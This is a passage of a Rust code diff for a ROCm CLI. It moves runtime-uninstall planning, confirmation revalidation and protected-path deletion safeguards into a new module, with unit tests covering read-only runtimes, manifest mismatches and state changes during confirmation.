runtime registry entry {}", + registry_path.display() + ) + })?; + } + + let mut config_changed = false; + if config + .active_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) + { + config.active_runtime_key = None; + config_changed = true; + } + if config + .previous_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) + { + config.previous_runtime_key = None; + config_changed = true; + } + if clears_default_runtime { + config.default_runtime_id = None; + config_changed = true; + } + if config + .setup + .therock_venv + .as_ref() + .is_some_and(|path| paths_equivalent(path, &manifest.install_root)) + { + config.setup.therock_venv = None; + config.setup.completed = false; + config.onboarding_dismissed = false; + config_changed = true; + } + if config_changed { + config.save(paths)?; + } + + if active_runtime_marker_matches(paths, &manifest.runtime_key)? { + let marker_path = active_runtime_marker_path(paths); + if marker_path.exists() { + fs::remove_file(&marker_path).with_context(|| { + format!( + "failed to remove active runtime marker {}", + marker_path.display() + ) + })?; + } + } + + Ok(RuntimeUninstallResult { + runtime_id: manifest.runtime_id, + runtime_key: manifest.runtime_key, + registry_path, + removed_install_root, + read_only: manifest.read_only, + manifest_mismatch: matches!(install_root_decision, InstallRootDecision::ManifestMismatch), + was_active, + default_runtime_cleared: clears_default_runtime, + }) +} + +pub(crate) fn should_remove_runtime_install_root( + manifest: &therock::InstalledRuntimeManifest, +) -> Result { + if manifest.read_only || manifest.imported_from.is_some() { + return Ok(InstallRootDecision::ReadOnly); + } + if !local_runtime_manifest_matches(manifest)? { + return Ok(InstallRootDecision::ManifestMismatch); + } + ensure_runtime_install_root_is_safe_to_remove(&manifest.install_root)?; + Ok(InstallRootDecision::Remove) +} + +fn local_runtime_manifest_matches(manifest: &therock::InstalledRuntimeManifest) -> Result { + let local_path = manifest.install_root.join(".rocm-cli-runtime.json"); + if !local_path.is_file() { + return Ok(false); + } + let bytes = fs::read(&local_path) + .with_context(|| format!("failed to read {}", local_path.display()))?; + let local: therock::InstalledRuntimeManifest = serde_json::from_slice(&bytes) + .with_context(|| format!("failed to parse {}", local_path.display()))?; + Ok(local.runtime_key == manifest.runtime_key + && local.runtime_id == manifest.runtime_id + && paths_equivalent(&local.install_root, &manifest.install_root)) +} + +fn ensure_runtime_install_root_is_safe_to_remove(path: &Path) -> Result<()> { + if path.as_os_str().is_empty() || path.parent().is_none() || path.file_name().is_none() { + bail!( + "refusing to remove unsafe runtime folder {}", + path.display() + ); + } + // Belt and braces: a hand-edited or corrupted registry entry could point + // `install_root` at a protected system location while still carrying a + // matching in-tree `.rocm-cli-runtime.json`, slipping past + // `local_runtime_manifest_matches`. `prune` already refuses these before + // ever calling this function (see storage.rs); check it here too so the + // single source of truth for "may ROCm CLI delete this folder?" refuses + // it for every caller, including a direct `runtimes uninstall `. + if runtime_install_root_is_protected(path) { + bail!( + "refusing to remove runtime folder {} in a protected system location", + path.display() + ); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::runtime_adopt::import_runtime_manifest; + use crate::test_support::write_test_pip_runtime; + use crate::tests::test_paths; + + #[test] + fn runtime_uninstall_unregisters_read_only_runtime_without_deleting_external_root() -> Result<()> + { + let (root, paths) = test_paths("runtime-uninstall-read-only"); + let manifest = write_test_pip_runtime( + &paths, + "external-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let exported_manifest = root.join("external-runtime.json"); + fs::write(&exported_manifest, serde_json::to_vec_pretty(&manifest)?)?; + fs::remove_file(runtime_manifest_path(&paths, &manifest.runtime_key))?; + fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; + import_runtime_manifest(&paths, &exported_manifest, false)?; + let mut config = RocmCliConfig::default(); + + let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; + + assert_eq!(removed.runtime_key, manifest.runtime_key); + assert!(removed.read_only); + assert_eq!(removed.removed_install_root, None); + assert!(manifest.install_root.exists()); + assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_removes_rocm_cli_managed_custom_prefix_root() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-prefix"); + let mut manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let prefix_root = root.join("user-chosen-prefix"); + fs::rename(&manifest.install_root, &prefix_root)?; + manifest.install_root = prefix_root.clone(); + let python = prefix_root + .join(if cfg!(windows) { "Scripts" } else { "bin" }) + .join(if cfg!(windows) { + "python.exe" + } else { + "python" + }); + manifest.python_executable = Some(python.display().to_string()); + fs::write( + runtime_manifest_path(&paths, &manifest.runtime_key), + serde_json::to_vec_pretty(&manifest)?, + )?; + fs::write( + prefix_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&manifest)?, + )?; + let mut config = RocmCliConfig::default(); + + let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; + + assert_eq!( + removed.removed_install_root.as_deref(), + Some(prefix_root.as_path()) + ); + assert!(!prefix_root.exists()); + assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_leaves_folder_on_local_manifest_mismatch() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-manifest-mismatch"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + fs::remove_file(manifest.install_root.join(".rocm-cli-runtime.json"))?; + let mut config = RocmCliConfig::default(); + + let removed = uninstall_runtime(&paths, &mut config, &manifest.runtime_key)?; + + assert!(removed.manifest_mismatch); + assert!(!removed.read_only); + assert_eq!(removed.removed_install_root, None); + assert!(manifest.install_root.exists()); + assert!(!runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn ensure_runtime_install_root_rejects_protected_system_path() { + // `prune` (storage.rs) refuses a runtime whose folder sits in a + // protected system location before it ever calls + // `should_remove_runtime_install_root`. A hand-edited or corrupted + // registry entry could point a direct `runtimes uninstall ` + // manifest's `install_root` at the same kind of path while still + // carrying a matching in-tree `.rocm-cli-runtime.json`, slipping past + // `local_runtime_manifest_matches`. The single source of truth for + // "may ROCm CLI delete this folder?" must refuse it too, regardless + // of caller. + let protected = if cfg!(windows) { + PathBuf::from("C:/Windows/rocm-cli-test-runtime") + } else { + PathBuf::from("/etc/rocm-cli-test-runtime") + }; + + let err = ensure_runtime_install_root_is_safe_to_remove(&protected) + .expect_err("protected system path must be refused"); + assert!(err.to_string().contains("protected system location")); + } + + /// The gate above is the last thing between a registry entry and + /// `fs::remove_dir_all`, and the path it is handed is text somebody else + /// wrote. One folder has many spellings, so the refusal has to survive all + /// of them — a trailing separator, a doubled one, a `.`, or a `..` that + /// walks back out of the user's home directory. Each of these names `/etc`. + #[test] + #[cfg(unix)] + fn ensure_runtime_install_root_rejects_every_spelling_of_a_protected_path() { + let home = rocm_core::runtime_home_dir().expect("a home directory"); + let home = home.display().to_string(); + let spellings = [ + "/etc/".to_owned(), + "//etc".to_owned(), + "/./etc".to_owned(), + "/etc/.".to_owned(), + format!("{home}/../../etc"), + ]; + + let accepted: Vec = spellings + .into_iter() + .filter(|text| ensure_runtime_install_root_is_safe_to_remove(Path::new(text)).is_ok()) + .collect(); + + assert!( + accepted.is_empty(), + "accepted as safe to recursively delete: {accepted:?}" + ); + } + + #[test] + fn plan_runtime_uninstall_does_not_mutate() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-plan-dry-run"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + + assert!(plan.will_remove_install_root()); + assert!(manifest.install_root.exists()); + assert!(runtime_manifest_path(&paths, &manifest.runtime_key).exists()); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_install_root_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert!(plan.will_remove_install_root()); + + // Simulate another process relocating this runtime's install root + // while the uninstall confirmation prompt was waiting on the user. + let relocated_root = paths + .data_dir + .join("runtimes") + .join("wheel") + .join("relocated-install-root"); + fs::rename(&manifest.install_root, &relocated_root)?; + let mut relocated_manifest = manifest.clone(); + relocated_manifest.install_root = relocated_root.clone(); + fs::write( + relocated_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + fs::write( + runtime_manifest_path(&paths, &manifest.runtime_key), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose install_root moved since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_runtime_id_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-runtime-id"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert!(plan.will_remove_install_root()); + + // Simulate another process re-registering this runtime_key under a + // different runtime_id while the uninstall confirmation prompt was + // waiting on the user. Both the registry entry and the local marker + // are updated together so `install_root_decision` stays `Remove` and + // only `runtime_id` differs from the plan the user approved. + let mut relabeled_manifest = manifest.clone(); + relabeled_manifest.runtime_id = "therock-release:gfx120X-all-relabeled".to_owned(); + fs::write( + manifest.install_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&relabeled_manifest)?, + )?; + fs::write( + runtime_manifest_path(&paths, &manifest.runtime_key), + serde_json::to_vec_pretty(&relabeled_manifest)?, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose runtime_id changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_was_active_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-was-active"); + let target = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let other = write_test_pip_runtime( + &paths, + "release-pip-gfx110x-all-7-12-0", + "therock-release:gfx110X-all", + "7.12.0", + 10, + )?; + let mut config = RocmCliConfig { + active_runtime_key: Some(other.runtime_key), + ..RocmCliConfig::default() + }; + + let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; + assert!(!plan.was_active); + + // Simulate another process activating the target runtime while the + // uninstall confirmation prompt was waiting on the user. + config.active_runtime_key = Some(target.runtime_key); + config.save(&paths)?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose was_active changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_clears_default_runtime_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-clears-default"); + let shared_runtime_id = "therock-release:gfx120X-all"; + let target = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + shared_runtime_id, + "7.13.0", + 20, + )?; + let other = write_test_pip_runtime( + &paths, + "release-pip-gfx110x-all-7-12-0", + "therock-release:gfx110X-all", + "7.12.0", + 10, + )?; + let config = RocmCliConfig { + default_runtime_id: Some(shared_runtime_id.to_owned()), + active_runtime_key: Some(other.runtime_key), + ..RocmCliConfig::default() + }; + + let plan = plan_runtime_uninstall(&paths, &config, &target.runtime_key)?; + assert!(!plan.was_active); + assert!( + plan.clears_default_runtime, + "target is the only install with the stale default runtime_id" + ); + + // Simulate another process installing a sibling that shares the + // target's runtime_id while the uninstall confirmation prompt was + // waiting on the user; the default would then survive on that + // sibling instead of being cleared. + write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-1", + shared_runtime_id, + "7.13.1", + 30, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose clears_default_runtime changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_revalidation_detects_install_root_decision_change() -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-revalidate-install-root-decision"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert_eq!(plan.install_root_decision, InstallRootDecision::Remove); + + // Simulate another process overwriting the in-tree marker with one + // for a different install while the uninstall confirmation prompt + // was waiting on the user; the registry entry (and thus runtime_id + // and install_root) is left untouched, so only install_root_decision + // should differ from the plan the user approved. + let mut mismatched_marker = manifest.clone(); + mismatched_marker.runtime_key = "some-other-runtime-key".to_owned(); + fs::write( + manifest.install_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&mismatched_marker)?, + )?; + + let result = revalidate_runtime_uninstall_plan(&paths, &config, plan); + assert!( + result.is_err(), + "revalidation should refuse a plan whose install_root_decision changed since it was shown" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn confirm_and_revalidate_runtime_uninstall_refuses_state_changed_during_confirmation() + -> Result<()> { + let (root, paths) = test_paths("runtime-uninstall-confirm-and-revalidate-wiring"); + let manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0", + "therock-release:gfx120X-all", + "7.13.0", + 20, + )?; + let config = RocmCliConfig::default(); + config.save(&paths)?; + + let plan = plan_runtime_uninstall(&paths, &config, &manifest.runtime_key)?; + assert!(plan.will_remove_install_root()); + + // The injected "confirm" closure plays the role of the user + // approving the prompt; it relocates the install root before + // returning, simulating another process racing the confirmation + // exactly as `runtime_uninstall_revalidation_detects_install_root_change` + // does for the leaf function. This exercises the actual + // confirm -> reload-config -> revalidate wiring, not just the + // revalidation function in isolation: if the reload/revalidate + // calls were ever dropped from `confirm_and_revalidate_runtime_uninstall`, + // the call would silently succeed on the stale plan and this + // test's `result.is_err()` assertion below would fail, catching + // the regression. + let relocated_root = paths + .data_dir + .join("runtimes") + .join("wheel") + .join("relocated-install-root"); + let install_root = manifest.install_root.clone(); + let runtime_key = manifest.runtime_key.clone(); + let paths_for_confirm = paths.clone(); + let result = confirm_and_revalidate_runtime_uninstall(&paths, plan, move || { + fs::rename(&install_root, &relocated_root)?; + let mut relocated_manifest = manifest.clone(); + relocated_manifest.install_root = relocated_root.clone(); + fs::write( + relocated_root.join(".rocm-cli-runtime.json"), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + fs::write( + runtime_manifest_path(&paths_for_confirm, &runtime_key), + serde_json::to_vec_pretty(&relocated_manifest)?, + )?; + Ok(true) + }); + + assert!( + result.is_err(), + "confirm_and_revalidate_runtime_uninstall must refuse to proceed when the runtime \ + state changed while the confirmation callback was running" + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn runtime_uninstall_clears_default_runtime_id_for_last_sibling_even_when_not_active() + -> Result<()> { + // `runtime_id` is shared across side-by-side installs of the same + // release, while `runtime_key` is unique per install and + // `config.default_runtime_id` tracks by the shared `runtime_id`, + // independently of `config.active_runtime_key`. A stale + // `default_runtime_id` left over from before a *different* runtime + // was activated must still be cleared once its last remaining + // sibling is uninstalled — even though that sibling is not, and + // never was, the active runtime (`was_active` is pinned to the + // unrelated active runtime and never falls back to the + // default-id-uniqueness check while that active runtime is still + // installed). + let (root, paths) = test_paths("runtime-uninstall-shared-default-id"); + let shared_runtime_id = "therock-release:gfx120X-all"; + let manifest_a = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0-a", + shared_runtime_id, + "7.13.0", + 20, + )?; + let manifest_b = write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all-7-13-0-b", + shared_runtime_id, + "7.13.0", + 21, + )?; + let active_manifest = write_test_pip_runtime( + &paths, + "release-pip-gfx1151-7-14-0", + "therock-release:gfx1151", + "7.14.0", + 22, + )?; + // `default_runtime_id` is stale, left over from before + // `active_manifest` was activated; `active_runtime_key` now points + // at a manifest with a completely different `runtime_id`. + let mut config = RocmCliConfig { + default_runtime_id: Some(shared_runtime_id.to_owned()), + active_runtime_key: Some(active_manifest.runtime_key.clone()), + ..RocmCliConfig::default() + }; + config.save(&paths)?; + + // Removing the first sibling leaves the other one behind, so the + // stale default (which still resolves to a real, remaining install) + // must not be cleared. + let plan_b = plan_runtime_uninstall(&paths, &config, &manifest_b.runtime_key)?; + assert!(!plan_b.was_active); + assert!(!plan_b.clears_default_runtime); + let removed_b = uninstall_runtime(&paths, &mut config, &manifest_b.runtime_key)?; + assert!(!removed_b.was_active); + assert!(!removed_b.default_runtime_cleared); + assert_eq!( + config.default_runtime_id.as_deref(), + Some(shared_runtime_id) + ); + + // Removing the last remaining sibling must clear the stale default + // even though this install was never the active one, and + // `active_runtime_key` still points at the unrelated, still-installed + // `active_manifest` throughout. + let plan_a = plan_runtime_uninstall(&paths, &config, &manifest_a.runtime_key)?; + assert!(!plan_a.was_active); + assert!(plan_a.clears_default_runtime); + let removed_a = uninstall_runtime(&paths, &mut config, &manifest_a.runtime_key)?; + assert!(!removed_a.was_active); + assert!(removed_a.default_runtime_cleared); + assert_eq!(config.default_runtime_id, None); + assert_eq!( + config.active_runtime_key.as_deref(), + Some(active_manifest.runtime_key.as_str()) + ); + + let _ = fs::remove_dir_all(root); + Ok(()) + } +} diff --git a/apps/rocm/src/runtimes_cmd.rs b/apps/rocm/src/runtimes_cmd.rs index 7034013e6e..2d0c45992b 100644 --- a/apps/rocm/src/runtimes_cmd.rs +++ b/apps/rocm/src/runtimes_cmd.rs @@ -2,10 +2,11 @@ // // SPDX-License-Identifier: MIT -//! `rocm runtimes` command: its dispatch, activate/rollback/uninstall, and -//! the runtime list rendering. Import and adopt (and recovering the runtime -//! `rocm setup` created) live in `runtime_adopt.rs`. Registry selection and -//! manifest validation live in `runtime_registry.rs`; the names other modules import from here +//! `rocm runtimes` command: its dispatch, activate/rollback, and the runtime +//! list rendering. Import and adopt (and recovering the runtime `rocm setup` +//! created) live in `runtime_adopt.rs`, and uninstall in +//! `runtime_uninstall.rs`. Registry selection and manifest validation live in +//! `runtime_registry.rs`; the names other modules import from here //! (`current_runtime_manifest`, `select_runtime_manifest`, //! `validate_runtime_manifest_for_activation`, `runtime_usability_status`, //! and the registry path helpers) are re-exported from this module. @@ -16,16 +17,19 @@ //! `RuntimesCommand` remains in the crate root (part of the `Command`/`Cli` //! clap definition) and is reached via `use crate::RuntimesCommand`, the same //! way `EnginesCommand` stayed behind when `engines()` moved to -//! `engines_cmd.rs` in Phase 6a. `RuntimeActivationResult` and -//! `ActiveRuntimeMarker` stay `pub(crate)`: the former is read by -//! `append_update_activate_summary` in `update_cmd.rs`'s -//! `apply_runtime_update` flow, the latter by `storage.rs`. -//! `active_runtime_marker_path` and `should_remove_runtime_install_root` are -//! also `pub(crate)` and read from `storage.rs` and `main.rs`. +//! `engines_cmd.rs` in Phase 6a. `RuntimeActivationResult` stays +//! `pub(crate)`: it is read by `append_update_activate_summary` in +//! `update_cmd.rs`'s `apply_runtime_update` flow. The uninstall plan and apply +//! code lives in `runtime_uninstall.rs`, and the active-runtime marker model in +//! `runtime_registry.rs`; `uninstall_runtime`, +//! `should_remove_runtime_install_root`, `InstallRootDecision`, +//! `ActiveRuntimeMarker` and `active_runtime_marker_path` are re-exported from +//! here for `storage.rs` and `main.rs`. //! `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` //! and `setup_runtime_paths` (from `runtime_adopt.rs`) and //! `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported -//! from here for the modules that import them from this one. The SDK-install-finalization/torch-alignment/dependency bundle +//! from here for the modules that import them from this one. The +//! SDK-install-finalization/torch-alignment/dependency bundle //! (`finish_sdk_install` and friends) lives in the sibling //! `runtime_install_finalize.rs`, which calls into this module (for //! `activate_runtime`, `newest_installed_runtime_manifest` and @@ -34,11 +38,9 @@ use std::fmt::Write as _; use std::fs; -use std::path::{Path, PathBuf}; use anyhow::{Context, Result, bail}; -use rocm_core::{AppPaths, RocmCliConfig, interactive_terminal, runtime_install_root_is_protected}; -use serde::{Deserialize, Serialize}; +use rocm_core::{AppPaths, RocmCliConfig, interactive_terminal}; use crate::runtime_adopt::{ AdoptRuntimeOptions, adopt_runtime_from_python_options, import_runtime_manifest, @@ -46,11 +48,18 @@ use crate::runtime_adopt::{ pub(crate) use crate::runtime_adopt::{ newest_installed_runtime_manifest, recover_setup_runtime_registration, setup_runtime_paths, }; -use crate::runtime_registry::paths_equivalent; pub(crate) use crate::runtime_registry::{ - current_runtime_manifest, default_runtime_id_matches, normalize_path_for_compare, - runtime_keys_text, runtime_manifest_path, runtime_registry_dir, runtime_usability_status, - select_runtime_manifest, validate_runtime_manifest_for_activation, + ActiveRuntimeMarker, active_runtime_marker_path, current_runtime_manifest, + default_runtime_id_matches, normalize_path_for_compare, runtime_keys_text, + runtime_manifest_path, runtime_registry_dir, runtime_usability_status, select_runtime_manifest, + validate_runtime_manifest_for_activation, +}; +pub(crate) use crate::runtime_uninstall::{ + InstallRootDecision, should_remove_runtime_install_root, uninstall_runtime, +}; +use crate::runtime_uninstall::{ + RuntimeUninstallConfirmation, apply_runtime_uninstall, + confirm_and_revalidate_runtime_uninstall, plan_runtime_uninstall, print_runtime_uninstall_plan, }; use crate::therock; use crate::uninstall_plan::confirm_uninstall; @@ -362,17 +371,6 @@ pub(crate) fn runtimes(command: Option) -> Result<()> { Ok(()) } -#[derive(Debug, Clone, Serialize, Deserialize)] -pub(crate) struct ActiveRuntimeMarker { - runtime_id: String, - pub(crate) runtime_key: String, - manifest_path: PathBuf, - install_root: PathBuf, - previous_runtime_id: Option, - pub(crate) previous_runtime_key: Option, - activated_at_unix_ms: u128, -} - #[derive(Debug, Clone)] pub(crate) struct RuntimeActivationResult { pub(crate) runtime_id: String, @@ -545,18 +543,6 @@ fn restore_after_failed_activation( } } -#[derive(Debug, Clone)] -pub(crate) struct RuntimeUninstallResult { - pub(crate) runtime_id: String, - pub(crate) runtime_key: String, - registry_path: PathBuf, - pub(crate) removed_install_root: Option, - read_only: bool, - manifest_mismatch: bool, - was_active: bool, - default_runtime_cleared: bool, -} - /// Marker shown beside the active runtime in `rocm runtimes list`. Every /// place that renders this glyph MUST use this constant so the rendered /// character and the legend text stay in sync. @@ -846,328 +832,6 @@ fn rollback_runtime( }) } -/// A runtime's install folder is only ever removed when ROCm CLI is confident -/// it owns that folder; `ReadOnly` and `ManifestMismatch` are distinct reasons -/// for leaving it alone, surfaced separately so a real problem (a stale or -/// corrupt local manifest) doesn't look identical to an intentional no-op. -#[derive(Debug, Clone, Copy, PartialEq, Eq)] -pub(crate) enum InstallRootDecision { - Remove, - ReadOnly, - ManifestMismatch, -} - -impl InstallRootDecision { - pub(crate) const fn should_remove(self) -> bool { - matches!(self, Self::Remove) - } -} - -#[derive(Debug, Clone)] -struct RuntimeUninstallPlan { - manifest: therock::InstalledRuntimeManifest, - registry_path: PathBuf, - was_active: bool, - /// Whether applying this plan will clear `config.default_runtime_id`. - /// This is true when the config's default still points at this - /// manifest's `runtime_id` and either this manifest was the active one, - /// or it is the last remaining install sharing that `runtime_id` (the - /// id is shared across side-by-side installs, so removing one sibling - /// does not by itself orphan the default while others remain). - clears_default_runtime: bool, - install_root_decision: InstallRootDecision, -} - -impl RuntimeUninstallPlan { - fn will_remove_install_root(&self) -> bool { - self.install_root_decision.should_remove() && self.manifest.install_root.exists() - } -} - -fn print_runtime_uninstall_plan(plan: &RuntimeUninstallPlan) { - let install_folder = if plan.will_remove_install_root() { - format!( - "{} (would be removed)", - plan.manifest.install_root.display() - ) - } else { - match plan.install_root_decision { - InstallRootDecision::Remove => "not present, nothing to remove".to_owned(), - InstallRootDecision::ReadOnly => { - "left untouched (external/read-only runtime)".to_owned() - } - InstallRootDecision::ManifestMismatch => { - "left untouched (local runtime manifest did not match the registry)".to_owned() - } - } - }; - - let mut report = cli_report::ActionReport::new("runtime uninstall plan") - .detail("runtime_id", &plan.manifest.runtime_id) - .detail("runtime_key", &plan.manifest.runtime_key) - .detail("registry_entry", plan.registry_path.display()) - .detail("install_folder", install_folder); - if plan.clears_default_runtime { - report = report.detail("default_runtime", "would be cleared"); - } - print!("{}", report.render()); -} - -fn plan_runtime_uninstall( - paths: &AppPaths, - config: &RocmCliConfig, - selector: &str, -) -> Result { - let manifests = therock::load_runtime_manifests(paths)?; - let manifest = select_runtime_manifest(&manifests, selector)?.clone(); - let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); - let was_active = current_runtime_manifest(config, &manifests) - .is_some_and(|current| current.runtime_key == manifest.runtime_key); - let clears_default_runtime = config - .default_runtime_id - .as_deref() - .is_some_and(|runtime_id| runtime_id.eq_ignore_ascii_case(&manifest.runtime_id)) - && (was_active - || !manifests.iter().any(|other| { - other.runtime_key != manifest.runtime_key - && other.runtime_id.eq_ignore_ascii_case(&manifest.runtime_id) - })); - let install_root_decision = should_remove_runtime_install_root(&manifest)?; - Ok(RuntimeUninstallPlan { - manifest, - registry_path, - was_active, - clears_default_runtime, - install_root_decision, - }) -} - -/// Re-derives the uninstall plan from disk and refuses to proceed if it no -/// longer matches what the user approved. The interactive confirmation this -/// guards can wait indefinitely; if another process activates a different -/// runtime or replaces the install folder while the prompt is open, applying -/// the stale plan could clear the wrong `active_runtime_key` or recursively -/// delete a folder that is no longer the one that was vetted as safe to -/// remove. -fn revalidate_runtime_uninstall_plan( - paths: &AppPaths, - config: &RocmCliConfig, - plan: RuntimeUninstallPlan, -) -> Result { - let fresh = plan_runtime_uninstall(paths, config, &plan.manifest.runtime_key)?; - if fresh.manifest.runtime_id != plan.manifest.runtime_id - || fresh.manifest.install_root != plan.manifest.install_root - || fresh.was_active != plan.was_active - || fresh.clears_default_runtime != plan.clears_default_runtime - || fresh.install_root_decision != plan.install_root_decision - { - bail!( - "runtime state for {} changed while waiting for confirmation; re-run `rocm runtimes uninstall {}` to review the current plan before approving it", - plan.manifest.runtime_key, - plan.manifest.runtime_key - ); - } - Ok(fresh) -} - -enum RuntimeUninstallConfirmation { - Cancelled, - // `RuntimeUninstallPlan`/`RocmCliConfig` are large; box them so the two - // variants stay a similar size (clippy::large_enum_variant). - Confirmed { - plan: Box, - config: Box, - }, -} - -/// Runs the confirm-then-revalidate sequence used by an interactive -/// `runtimes uninstall`: waits for the caller-supplied confirmation, then -/// reloads config from disk and re-derives the plan against it, so a state -/// change that happened while the (potentially indefinite) prompt was open -/// cannot be applied against stale data. -fn confirm_and_revalidate_runtime_uninstall( - paths: &AppPaths, - plan: RuntimeUninstallPlan, - confirm: impl FnOnce() -> Result, -) -> Result { - if !confirm()? { - return Ok(RuntimeUninstallConfirmation::Cancelled); - } - let config = RocmCliConfig::load(paths)?; - let plan = revalidate_runtime_uninstall_plan(paths, &config, plan)?; - Ok(RuntimeUninstallConfirmation::Confirmed { - plan: Box::new(plan), - config: Box::new(config), - }) -} - -pub(crate) fn uninstall_runtime( - paths: &AppPaths, - config: &mut RocmCliConfig, - selector: &str, -) -> Result { - let plan = plan_runtime_uninstall(paths, config, selector)?; - apply_runtime_uninstall(paths, config, plan) -} - -fn apply_runtime_uninstall( - paths: &AppPaths, - config: &mut RocmCliConfig, - plan: RuntimeUninstallPlan, -) -> Result { - let RuntimeUninstallPlan { - manifest, - registry_path, - was_active, - clears_default_runtime, - install_root_decision, - } = plan; - - let mut removed_install_root = None; - if install_root_decision.should_remove() && manifest.install_root.exists() { - fs::remove_dir_all(&manifest.install_root).with_context(|| { - format!( - "failed to remove runtime folder {} - the runtime registry entry has not \ - been removed yet, so `rocm runtimes list` will still show this runtime as \ - installed and pointing at this (now possibly partially deleted) folder \ - until the removal succeeds", - manifest.install_root.display() - ) - })?; - removed_install_root = Some(manifest.install_root.clone()); - } - - if registry_path.exists() { - fs::remove_file(®istry_path).with_context(|| { - format!( - "failed to remove runtime registry entry {}", - registry_path.display() - ) - })?; - } - - let mut config_changed = false; - if config - .active_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) - { - config.active_runtime_key = None; - config_changed = true; - } - if config - .previous_runtime_key - .as_deref() - .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) - { - config.previous_runtime_key = None; - config_changed = true; - } - if clears_default_runtime { - config.default_runtime_id = None; - config_changed = true; - } - if config - .setup - .therock_venv - .as_ref() - .is_some_and(|path| paths_equivalent(path, &manifest.install_root)) - { - config.setup.therock_venv = None; - config.setup.completed = false; - config.onboarding_dismissed = false; - config_changed = true; - } - if config_changed { - config.save(paths)?; - } - - if active_runtime_marker_matches(paths, &manifest.runtime_key)? { - let marker_path = active_runtime_marker_path(paths); - if marker_path.exists() { - 